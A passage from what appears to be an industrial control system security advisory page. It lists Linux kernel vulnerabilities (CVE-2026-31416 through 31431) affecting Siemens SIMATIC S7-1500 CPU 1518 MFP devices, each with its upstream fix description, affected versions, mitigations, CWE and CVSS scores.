<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_log: account for netlink header size This is a followup to an old bug fix: NLMSG_DONE needs to account for the netlink header size, not just the attribute size. This can result in a WARN splat + drop of the netlink message, but other than this there are no ill effects.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31416">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/131.html">CWE-131 Incorrect Calculation of Buffer Size</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31417</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/x25: Fix overflow when accumulating packets Add a check to ensure that `x25_sock.fraglen` does not overflow. The `fraglen` also needs to be resetted when purging `fragment_queue` in `x25_clear_queues()`.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31417">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31418</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ipset: drop logically empty buckets in mtype_del mtype_del() counts empty slots below n-&gt;pos in k, but it only drops the bucket when both n-&gt;pos and k are zero. This misses buckets whose live entries have all been removed while n-&gt;pos still points past deleted slots. Treat a bucket as empty when all positions below n-&gt;pos are unused and release it directly instead of shrinking it further.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31418">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31421</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_fw: fix NULL pointer dereference on shared blocks The old-method path in fw_classify() calls tcf_block_q() and dereferences q-&gt;handle. Shared blocks leave block-&gt;q NULL, causing a NULL deref when an empty cls_fw filter is attached to a shared block and a packet with a nonzero major skb mark is classified. Reject the configuration in fw_change() when the old method (no TCA_OPTIONS) is used on a shared block, since fw_classify()'s old-method path needs block-&gt;q which is NULL for shared blocks. The fixed null-ptr-deref calling stack: KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f] RIP: 0010:fw_classify (net/sched/cls_fw.c:81) Call Trace: tcf_classify (./include/net/tc_wrapper.h:197 net/sched/cls_api.c:1764 net/sched/cls_api.c:1860) tc_run (net/core/dev.c:4401) __dev_queue_xmit (net/core/dev.c:4535 net/core/dev.c:4790)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31421">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31422</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_flow: fix NULL pointer dereference on shared blocks flow_change() calls tcf_block_q() and dereferences q-&gt;handle to derive a default baseclass. Shared blocks leave block-&gt;q NULL, causing a NULL deref when a flow filter without a fully qualified baseclass is created on a shared block. Check tcf_block_shared() before accessing block-&gt;q and return -EINVAL for shared blocks. This avoids the null-deref shown below: ======================================================================= KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f] RIP: 0010:flow_change (net/sched/cls_flow.c:508) Call Trace: tc_new_tfilter (net/sched/cls_api.c:2432) rtnetlink_rcv_msg (net/core/rtnetlink.c:6980) [...] =======================================================================</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31422">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31423</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_hfsc: fix divide-by-zero in rtsc_min() m2sm() converts a u32 slope to a u64 scaled value. For large inputs (e.g. m1=4000000000), the result can reach 2^32. rtsc_min() stores the difference of two such u64 values in a u32 variable `dsm` and uses it as a divisor. When the difference is exactly 2^32 the truncation yields zero, causing a divide-by-zero oops in the concave-curve intersection path: Oops: divide error: 0000 RIP: 0010:rtsc_min (net/sched/sch_hfsc.c:601) Call Trace: init_ed (net/sched/sch_hfsc.c:629) hfsc_enqueue (net/sched/sch_hfsc.c:1569) [...] Widen `dsm` to u64 and replace do_div() with div64_u64() so the full difference is preserved.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31423">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31424</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: x_tables: restrict xt_check_match/xt_check_target extensions for NFPROTO_ARP Weiming Shi says: xt_match and xt_target structs registered with NFPROTO_UNSPEC can be loaded by any protocol family through nft_compat. When such a match/target sets .hooks to restrict which hooks it may run on, the bitmask uses NF_INET_* constants. This is only correct for families whose hook layout matches NF_INET_*: IPv4, IPv6, INET, and bridge all share the same five hooks (PRE_ROUTING ... POST_ROUTING). ARP only has three hooks (IN=0, OUT=1, FORWARD=2) with different semantics. Because NF_ARP_OUT == 1 == NF_INET_LOCAL_IN, the .hooks validation silently passes for the wrong reasons, allowing matches to run on ARP chains where the hook assumptions (e.g. state-&gt;in being set on input hooks) do not hold. This leads to NULL pointer dereferences; xt_devgroup is one concrete example: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000044: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000220-0x0000000000000227] RIP: 0010:devgroup_mt+0xff/0x350 Call Trace: nft_match_eval (net/netfilter/nft_compat.c:407) nft_do_chain (net/netfilter/nf_tables_core.c:285) nft_do_chain_arp (net/netfilter/nft_chain_filter.c:61) nf_hook_slow (net/netfilter/core.c:623) arp_xmit (net/ipv4/arp.c:666) Kernel panic - not syncing: Fatal exception in interrupt Fix it by restricting arptables to NFPROTO_ARP extensions only. Note that arptables-legacy only supports: - arpt_CLASSIFY - arpt_mangle - arpt_MARK that provide explicit NFPROTO_ARP match/target declarations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31424">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1287.html">CWE-1287 Improper Validation of Specified Type of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31427</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_sip: fix use of uninitialized rtp_addr in process_sdp process_sdp() declares union nf_inet_addr rtp_addr on the stack and passes it to the nf_nat_sip sdp_session hook after walking the SDP media descriptions. However rtp_addr is only initialized inside the media loop when a recognized media type with a non-zero port is found. If the SDP body contains no m= lines, only inactive media sections (m=audio 0 ...) or only unrecognized media types, rtp_addr is never assigned. Despite that, the function still calls hooks-&gt;sdp_session() with &amp;rtp_addr, causing nf_nat_sdp_session() to format the stale stack value as an IP address and rewrite the SDP session owner and connection lines with it. With CONFIG_INIT_STACK_ALL_ZERO (default on most distributions) this results in the session-level o= and c= addresses being rewritten to 0.0.0.0 for inactive SDP sessions. Without stack auto-init the rewritten address is whatever happened to be on the stack. Fix this by pre-initializing rtp_addr from the session-level connection address (caddr) when available, and tracking via a have_rtp_addr flag whether any valid address was established. Skip the sdp_session hook entirely when no valid address exists.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31427">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31428</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_log: fix uninitialized padding leak in NFULA_PAYLOAD __build_packet_message() manually constructs the NFULA_PAYLOAD netlink attribute using skb_put() and skb_copy_bits(), bypassing the standard nla_reserve()/nla_put() helpers. While nla_total_size(data_len) bytes are allocated (including NLA alignment padding), only data_len bytes of actual packet data are copied. The trailing nla_padlen(data_len) bytes (1-3 when data_len is not 4-byte aligned) are never initialized, leaking stale heap contents to userspace via the NFLOG netlink socket. Replace the manual attribute construction with nla_reserve(), which handles the tailroom check, header setup, and padding zeroing via __nla_reserve(). The subsequent skb_copy_bits() fills in the payload data on top of the properly initialized attribute.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31428">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31431</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31431">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/669.html">CWE-669 Incorrect Resource Transfer Between Spheres</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
